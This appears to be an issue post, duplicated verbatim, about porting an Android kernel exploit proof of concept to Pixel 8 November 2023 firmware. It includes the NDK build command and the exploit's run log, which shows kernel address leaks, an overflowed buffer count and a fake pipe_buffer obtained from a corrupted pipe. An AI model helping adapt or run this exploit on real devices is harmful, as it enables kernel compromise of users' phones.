Adding support for Pixel 8 Nov 2023 firmware same as pixel 8 pro husky
checked the offsets and byte values they are the same between devices,
but Pixel 8 doesn't get past finding the fake pipe_buffer, always restarts.
What did you do while debugging for exploit development? Adding more prints, gdb, etc?
~/Android/Sdk/ndk/26.2.11394342/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android33-clang++ -static-libstdc++ -w -Wno-c++11-narrowing -DUSE_STANDALONE -o gpu poc.cpp -llog
gpu: 1 file pushed, 0 skipped. 191.5 MB/s (29672 bytes in 0.000s)
[+] Target device: 'google/shiba/shiba:14/UD1A.231105.004/11010374:user/release-keys' 0xa9027bfdd10203ff 0xa90467faa9036ffc
[+] Got the kcpu_id (0) kernel address = 0xffffff89135e8000 from context (0x0)
[+] Got the kcpu_id (255) kernel address = 0xffffff80559ac000 from context (0xff)
The allocation size will be 0x3004
buffer_count = 0xfffffffffffff800 live_ranges_count= 0x2c01
[+] Found corrupted pipe with size 0xfff
[+] SUCCESS! we have a fake pipe_buffer (0)!
[+] started pipe_struct_read_with_guard
Adding support for Pixel 8 Nov 2023 firmware same as pixel 8 pro husky
checked the offsets and byte values they are the same between devices,
but Pixel 8 doesn't get past finding the fake pipe_buffer, always restarts.
What did you do while debugging for exploit development? Adding more prints, gdb, etc?
~/Android/Sdk/ndk/26.2.11394342/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android33-clang++ -static-libstdc++ -w -Wno-c++11-narrowing -DUSE_STANDALONE -o gpu poc.cpp -llog
gpu: 1 file pushed, 0 skipped. 191.5 MB/s (29672 bytes in 0.000s)
[+] Target device: 'google/shiba/shiba:14/UD1A.231105.004/11010374:user/release-keys' 0xa9027bfdd10203ff 0xa90467faa9036ffc
[+] Got the kcpu_id (0) kernel address = 0xffffff89135e8000 from context (0x0)
[+] Got the kcpu_id (255) kernel address = 0xffffff80559ac000 from context (0xff)
The allocation size will be 0x3004
buffer_count = 0xfffffffffffff800 live_ranges_count= 0x2c01
[+] Found corrupted pipe with size 0xfff
[+] SUCCESS! we have a fake pipe_buffer (0)!
[+] started pipe_struct_read_with_guard